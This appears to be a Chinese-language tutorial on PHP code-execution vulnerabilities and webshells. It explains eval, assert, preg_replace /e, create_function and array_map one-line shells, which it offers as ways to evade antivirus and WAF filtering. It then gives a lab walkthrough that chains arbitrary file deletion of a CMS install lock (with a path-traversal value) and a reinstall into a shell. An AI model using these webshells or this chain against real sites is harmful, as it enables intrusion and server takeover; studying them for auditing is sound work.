文章目录
零、 开局上表演
安装cms时,
访问漏洞url,发现存在“ 代码执行漏洞 ”。
ok,表演(装逼)完毕,下面慢慢讲讲原理。
一、代码执行漏洞原理
1.1 定义
用户输入的数据被当作后端代码进行执行。
1.2例如
其实一句话木马的本质就是一个代码执行的漏洞,<?php @eval($_REQUET[8])?> 。
这里用户传过去的参数,如“ 8=phpinfo() ”,就被后端服务器接受并解析执行。
1.3 RCE的概念
RCE(remote command/code execute)原本的含义就是:远程命令/代码执行。
现在因为RCE这个词被滥用,范围也扩大了很多。
只要渗透的最终情况下可以实现执行命令或者代码都属于RCE,
如代码执行、文件包含、反序列化、命令执行,甚至是写文件GetShell都属于RCE。
1.4 本篇文章预计收获
(1)学习代码审计的一些思路,了解一些特殊的危险函数。
(2)如果你们的一句话木马被查杀了或者过滤了,那么可以尝试替代即实现免杀的效果。
二、造成代码执行函数解析
注:为了方面,我把要执行的代码写为“ $a “
2.1 eval($a)函数
eval是代码执行用的最多的,他可以多行执行;eval($_REQUEST[‘a’]);
例如:
2.2 assert($a)函数
(1) Assert($a)只能单行执行;assert($_REQUEST[‘a’]) //如何多行执行呢?
例如:
(2)先问一个新的问题:菜刀在执行命令的时候,发生了什么?
打开系统的全局代码,抓包。
可以发现,本质菜刀就是执行了N行的命令,
(3)又一个问题来了,如何让一个assert的一句马链接菜刀呢?
我们可以让assert来执行一个写木马的操作。
2.3 利用assert写木马
file_put_contents(‘2.php’,’<?php var_dump(8)>;phpinfo();?>’)
再次访问2.php
2.4 preg_replace函数
preg_replace() //正则替换函数,之前在正则的地方提到过,他其实也会产生代码执行。
(1)preg_replace用法:
preg_replace(替换的正则表达式,替换为什么,要被替换的字符串);
(2)骚姿势:
<?php echo preg_replace('/a/e',$_GET[8],'abc');?> //这里的核心是修饰符“ e “。
有“ /e “修饰符的情况下,中间 “替换的内容“ ,可以当作代码执行。
上边有一个报错,报错的意思是说,最好不要用“\e“,但是并不妨碍结果。
实战情况下,只要是可以控制AA( preg_replace(AA,BB,CC) )就可以打出危害。
(3)注意:
替换必须真实发生才会触发函数,不发生替换,不会触发
2.5 create_function匿名函数
(1)来介绍一下形参与实参:
(2)什么是匿名函数?
就是定义一个没有名字的函数,直接用变量调用。如:
$a = create_function('$id','echo $id;');
定义一个匿名函数$a,他的形参是“ $id ”,函数的内容就是 打印出传递的实参。
如:echo $a(8); 运行就会打印输出“ 8 ”。
(3)实际应用中,有一些waf会拦截eval函数,这个时候我们可以试试:
(4)问题:当我们可以控制写一个匿名函数,这个时候函数没有被调用怎么办?
问题的解决:
测试:
(5)实战之白盒审计
2.6 array_map函数(回调函数)
(0)回调函数的核心就是调用别的函数。
(1)用法:
(2)进阶用法之显示危害:
(3)二次进阶:
(4)复杂骚姿势
(5)总结部分变形一句马
array_map('assert',array($_POST['c']));
array_map($_REQUEST['b'],array($_REQUEST['c']));
(6)补充注意
Eval是无法调用的,因为eval比较特殊,不认为是函数,属于特殊写法
call_user_func() 也可回调,回调函数在PHP有很多
2.7 特殊组合(双引号二次解析)
(1)单引号与双引号的区别
双引号内的数据会被解析,单引号就是纯字符串。
在php5.5以上的版本中,直接双引号中嵌套“ ${代码} ”就会形成代码执行漏洞。
当我们可以控制双引号的内容时,并且被保存到服务器的一个文件中,
就会造成代码执行,如下图:
(2)大部分CMS安装的本质
大部分cms的安装就是将原始资料(原本定义好的内容),
加上用户传入的部分配置资料(如数据库的账户密码)写入到数据库中。
一般安装写入配置文件的位置在这三个目录:config、include、data。
(3)一些点
大部分cms的文件是不变的,即时间一定。会变得一般是配置文件、缓存文件等
(4)解释开局得表演
一些老套路:
(5)复杂语法
上边的表演能解析,其实并不是因为双引号,而是“ ${ ”。
我们去看看php的开发手册:
有了这个了解,很多地方开始变得简单了起来,只要是可以向php文件写入内容时,
就可以触发,妥妥的大杀器。(版本限制,php大于5.5)
三、实战
3.0 靠技术手段达到重装别人网站的效果
(1)为什么第一次访问cms提示安装,之后在访问就没有这个提示呢?
大部分的cms安装程序,存在一个“ 锁 “的概念,比如我们在cms路径下查询。
当我们将这个“ 锁 “删除,他就会认为我们没有安装。反之,则安装了。
这个时候,假设存在一个任意文件删除漏洞,我们是不是就可以重装CMS了呢?
3.1 靶场模拟
(0)前提:已经拿到后台管理的账户,有源代。
(1)审计后台代码,寻找可控变量。
通过代码审计发现, mobile页面源代码的unlink的传参貌似可控。(unlink是一个删除函数)
这段代码的大致意思是,删除掉,一个$mobile_loge的东西,而$mobile_loge又是可以通过
数据库中config库中的某个内容删除的。
(2)直接去mobile页面,查看,采用灰盒测试的方法。
找到位置:
抓取数据包,cat一般是调用某个方法,某个组件的意思,在去看看源码。
很容易找到,
此时,一个问题是,我们不知道他具体要删除的路径是什么?
(3)寻找删除路径位置
此时一个骚姿势就是,将他删除的路径直接输出,
抓取返回包,
查查数据库,
(4)控制数据库达到任意文件删除
到此,手动修改数据库内容,看看能否影响删除。
查看返回包,
到此,我们就可以通过控制数据库,达到任意文件删除的效果。
(5)删除锁文件
经过测试,可以删除。得到此,还剩最后一个问题,即如何更改数据库中的那个数据。
此时,我们可以通过源代码审计,看看有没有影响数据库的东西,或者直接拿下对方数据库。
其实,这里可以响到,那个图片是我们传上去的,
既然删除的时候可以控制,那么上传的地方是不是也可以控制呢?
(6)测试上传
上传之前:
上传之后:
(7)查看上传的源码
然后,最下边一句代码不就是可以更改数据库的语句。我们只要传入数据:
mobile_logo=../../../../../data/锁文件
就会更改数据库的值。Ok,一切具备,去抓取并提交数据包测试。
(8)提交测试
这里最简单粗暴的方式就是将filename直接干掉。
用post传参的方式,直接将我们需要的路径传递过去。达到修改数据库的目的。
到这里,基本完成目标。其实在最初审计的时候。最开始想的操作数据库是通过:
~寻找是否存在sql注入,
~寻找是否存在后台能执行数据库代码等
3.2 靶场总结:
(1)代码审计配合特殊组合达到在安装cms的时候getshell的操作。
(2)了解cms安装的本质,以及如何删除锁文件。
(3)寻找到后台存在一个任意文件删除的漏洞,但是此漏洞的路径是存在数据库之中。
(4)寻找到上传点可以更改数据库的内容
(5)具体步骤:
~通过上传修改数据库中的数据,
~执行任意文件删除,将锁文件删除
~执行cms安装页面
~写入shell
~菜刀连接
,
,
,
,
假如无法直接连接,那就通过file_put写一个上去。
3.3一些补充
(1)
多看看开发手册,当你知道一些开发不了解的知识时,就已经成功了一半。
(2)
遇到一些可以将用户操作写入文件的情况且这些文件的后缀又是php(如日志文件),
这个时候,我们就可以通过闭合将原本的日志文件改成我们的一句话。
核心:用户可操作的数据被写入危险后缀文件。